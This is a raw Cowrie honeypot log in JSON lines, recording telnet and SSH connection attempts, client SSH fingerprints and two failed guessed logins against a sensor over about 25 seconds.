{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":45920,"dst_ip":"10.17.0.5","dst_port":23,"session":"83e5925ccca6","protocol":"telnet","message":"New connection: 169.38.112.222:45920 (10.17.0.5:23) [session: 83e5925ccca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:02.729975Z"}
{"eventid":"cowrie.session.closed","duration":30.5977566242218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:03.213525Z","src_ip":"169.38.112.222","session":"ae9c1af7004a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":45928,"dst_ip":"10.17.0.5","dst_port":23,"session":"42fe05ae0f7e","protocol":"telnet","message":"New connection: 169.38.112.222:45928 (10.17.0.5:23) [session: 42fe05ae0f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:03.547027Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":45942,"dst_ip":"10.17.0.5","dst_port":23,"session":"685a9bec22fd","protocol":"telnet","message":"New connection: 169.38.112.222:45942 (10.17.0.5:23) [session: 685a9bec22fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:05.556820Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":51172,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf2bac244104","protocol":"telnet","message":"New connection: 103.137.231.186:51172 (159.203.135.109:23) [session: cf2bac244104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:05.684540Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":45958,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1fd469a2b5d","protocol":"telnet","message":"New connection: 169.38.112.222:45958 (10.17.0.5:23) [session: a1fd469a2b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:05.901776Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":51656,"dst_ip":"10.17.0.5","dst_port":23,"session":"0438de043b0c","protocol":"telnet","message":"New connection: 162.253.42.116:51656 (10.17.0.5:23) [session: 0438de043b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:06.391582Z"}
{"eventid":"cowrie.session.closed","duration":34.74403095245361,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:06.588727Z","src_ip":"159.203.13.64","session":"87348f359b39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54186,"dst_ip":"10.17.0.5","dst_port":23,"session":"42f4101ea81a","protocol":"telnet","message":"New connection: 169.38.112.222:54186 (10.17.0.5:23) [session: 42f4101ea81a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:06.702563Z"}
{"eventid":"cowrie.session.closed","duration":38.32843375205994,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:07.009587Z","src_ip":"159.203.13.64","session":"ee5ed3e4ae5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36876,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf18a940031d","protocol":"telnet","message":"New connection: 152.53.125.71:36876 (10.17.0.5:23) [session: cf18a940031d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:07.505171Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":51174,"dst_ip":"159.203.135.109","dst_port":23,"session":"6390d6eed78e","protocol":"telnet","message":"New connection: 103.137.231.186:51174 (159.203.135.109:23) [session: 6390d6eed78e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:07.750975Z"}
{"eventid":"cowrie.session.closed","duration":30.575685024261475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:10.328020Z","src_ip":"152.53.125.71","session":"45cb9d7fe26b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54192,"dst_ip":"10.17.0.5","dst_port":23,"session":"d589bd148470","protocol":"telnet","message":"New connection: 169.38.112.222:54192 (10.17.0.5:23) [session: d589bd148470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:11.584681Z"}
{"eventid":"cowrie.session.closed","duration":30.760831356048584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:12.164286Z","src_ip":"169.38.112.222","session":"e0df5331b326","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54196,"dst_ip":"10.17.0.5","dst_port":23,"session":"20fca0467a95","protocol":"telnet","message":"New connection: 169.38.112.222:54196 (10.17.0.5:23) [session: 20fca0467a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:12.526781Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36886,"dst_ip":"10.17.0.5","dst_port":23,"session":"940a6a8a3d40","protocol":"telnet","message":"New connection: 152.53.125.71:36886 (10.17.0.5:23) [session: 940a6a8a3d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:13.106264Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54212,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bb406fdb551","protocol":"telnet","message":"New connection: 169.38.112.222:54212 (10.17.0.5:23) [session: 1bb406fdb551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:13.822088Z"}
{"eventid":"cowrie.session.closed","duration":30.48335289955139,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:14.147794Z","src_ip":"169.38.112.222","session":"22038afb2e25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36898,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cddbf53f368","protocol":"telnet","message":"New connection: 152.53.125.71:36898 (10.17.0.5:23) [session: 0cddbf53f368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:14.249929Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54224,"dst_ip":"10.17.0.5","dst_port":23,"session":"32e2cd10825c","protocol":"telnet","message":"New connection: 169.38.112.222:54224 (10.17.0.5:23) [session: 32e2cd10825c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:14.676275Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":57846,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebf03984ace9","protocol":"telnet","message":"New connection: 103.137.231.186:57846 (159.203.135.109:23) [session: ebf03984ace9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:14.740202Z"}
{"eventid":"cowrie.session.closed","duration":31.798574209213257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:14.979161Z","src_ip":"169.38.112.222","session":"b688a54d3b38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54238,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b08e47b3f50","protocol":"telnet","message":"New connection: 169.38.112.222:54238 (10.17.0.5:23) [session: 9b08e47b3f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:15.156952Z"}
{"eventid":"cowrie.session.closed","duration":30.61146640777588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:15.233983Z","src_ip":"152.53.125.71","session":"ef4c971145c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":57862,"dst_ip":"159.203.135.109","dst_port":23,"session":"6effda376b1c","protocol":"telnet","message":"New connection: 103.137.231.186:57862 (159.203.135.109:23) [session: 6effda376b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:15.430165Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54248,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9424363b92f","protocol":"telnet","message":"New connection: 169.38.112.222:54248 (10.17.0.5:23) [session: d9424363b92f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:15.537452Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54260,"dst_ip":"10.17.0.5","dst_port":23,"session":"23c0f031f754","protocol":"telnet","message":"New connection: 169.38.112.222:54260 (10.17.0.5:23) [session: 23c0f031f754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:15.565036Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":57876,"dst_ip":"159.203.135.109","dst_port":23,"session":"50800fca1ecd","protocol":"telnet","message":"New connection: 103.137.231.186:57876 (159.203.135.109:23) [session: 50800fca1ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:15.724630Z"}
{"eventid":"cowrie.session.closed","duration":30.302222967147827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:17.128211Z","src_ip":"169.38.112.222","session":"b14119e1ab59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55109977722168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:17.276356Z","src_ip":"152.53.125.71","session":"deba8e497027","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":38710,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9e143244c3d","protocol":"telnet","message":"New connection: 159.203.13.64:38710 (10.17.0.5:23) [session: b9e143244c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:17.343643Z"}
{"eventid":"cowrie.session.closed","duration":30.865678071975708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:17.461695Z","src_ip":"169.38.112.222","session":"b0e4c1fc2a0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51751708984375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:18.163890Z","src_ip":"169.38.112.222","session":"2d5c07a29ad8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94866442680359,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:18.614706Z","src_ip":"169.38.112.222","session":"11cf94152a82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":46162,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ed2be1396f4","protocol":"ssh","message":"New connection: 186.13.24.118:46162 (159.203.135.109:22) [session: 0ed2be1396f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:19.213133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:19.218418Z","src_ip":"186.13.24.118","session":"0ed2be1396f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:19.388863Z","src_ip":"186.13.24.118","session":"0ed2be1396f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":39916,"dst_ip":"10.17.0.5","dst_port":23,"session":"c73e6f97bb87","protocol":"telnet","message":"New connection: 169.38.112.222:39916 (10.17.0.5:23) [session: c73e6f97bb87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:19.742243Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":57884,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cf61ce98363","protocol":"telnet","message":"New connection: 103.137.231.186:57884 (159.203.135.109:23) [session: 0cf61ce98363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:19.913034Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"2wsx","message":"login attempt [ubuntu/2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:20.092880Z","src_ip":"186.13.24.118","session":"0ed2be1396f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.874708652496338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:20.255474Z","src_ip":"152.53.125.71","session":"834a238625d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":52274,"dst_ip":"10.17.0.5","dst_port":23,"session":"d94caa329e07","protocol":"telnet","message":"New connection: 152.53.125.71:52274 (10.17.0.5:23) [session: d94caa329e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:20.368741Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":39926,"dst_ip":"10.17.0.5","dst_port":23,"session":"a030334fa96f","protocol":"telnet","message":"New connection: 169.38.112.222:39926 (10.17.0.5:23) [session: a030334fa96f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:20.825518Z"}
{"eventid":"cowrie.session.closed","duration":30.662200927734375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:21.160758Z","src_ip":"169.38.112.222","session":"a426f3c7c51b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:21.261753Z","src_ip":"186.13.24.118","session":"0ed2be1396f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44696,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b228410300c","protocol":"ssh","message":"New connection: 159.203.92.129:44696 (159.203.135.109:22) [session: 0b228410300c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:21.717500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:21.722332Z","src_ip":"159.203.92.129","session":"0b228410300c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:21.726892Z","src_ip":"159.203.92.129","session":"0b228410300c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alumni","password":"alumni@123","message":"login attempt [alumni/alumni@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:21.741248Z","src_ip":"159.203.92.129","session":"0b228410300c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.332796573638916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:22.124859Z","src_ip":"169.38.112.222","session":"ddac48b5f60f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:22.753021Z","src_ip":"159.203.92.129","session":"0b228410300c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.577849626541138,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:23.110914Z","src_ip":"169.38.112.222","session":"033544824e76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.528552293777466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:23.141952Z","src_ip":"169.38.112.222","session":"7281ddfeb040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":56826,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a6ec2ceede9","protocol":"telnet","message":"New connection: 103.137.231.186:56826 (159.203.135.109:23) [session: 9a6ec2ceede9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:23.518254Z"}
{"eventid":"cowrie.session.closed","duration":30.51266098022461,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:24.211861Z","src_ip":"169.38.112.222","session":"e148b69af390","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":56832,"dst_ip":"159.203.135.109","dst_port":23,"session":"6509b64fcbc1","protocol":"telnet","message":"New connection: 103.137.231.186:56832 (159.203.135.109:23) [session: 6509b64fcbc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:24.659548Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":56848,"dst_ip":"159.203.135.109","dst_port":23,"session":"c281a8d43724","protocol":"telnet","message":"New connection: 103.137.231.186:56848 (159.203.135.109:23) [session: c281a8d43724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:24.813316Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":56858,"dst_ip":"159.203.135.109","dst_port":23,"session":"afab64e9ea12","protocol":"telnet","message":"New connection: 103.137.231.186:56858 (159.203.135.109:23) [session: afab64e9ea12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:25.054767Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":56860,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d83f9448f99","protocol":"telnet","message":"New connection: 103.137.231.186:56860 (159.203.135.109:23) [session: 4d83f9448f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:25.242752Z"}
{"eventid":"cowrie.session.closed","duration":31.032429218292236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:25.380490Z","src_ip":"152.53.125.71","session":"fbd7ee9483a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":50766,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5a5b985581c","protocol":"telnet","message":"New connection: 152.53.125.71:50766 (10.17.0.5:23) [session: d5a5b985581c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:25.556332Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":39936,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d3371925f2f","protocol":"telnet","message":"New connection: 169.38.112.222:39936 (10.17.0.5:23) [session: 9d3371925f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:25.592561Z"}
{"eventid":"cowrie.session.closed","duration":31.960904121398926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:25.912538Z","src_ip":"152.53.125.71","session":"02af1bc9729b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.888832807540894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:26.148589Z","src_ip":"169.38.112.222","session":"2b20e36c22ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.30427098274231,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:26.320179Z","src_ip":"162.253.42.116","session":"9ff7624077a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":49518,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cccbb227f4a","protocol":"ssh","message":"New connection: 103.215.80.173:49518 (159.203.135.109:22) [session: 1cccbb227f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:27.042711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:27.047627Z","src_ip":"103.215.80.173","session":"1cccbb227f4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.127676725387573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:27.124013Z","src_ip":"169.38.112.222","session":"8dba76d08c38","protocol":"telnet"}
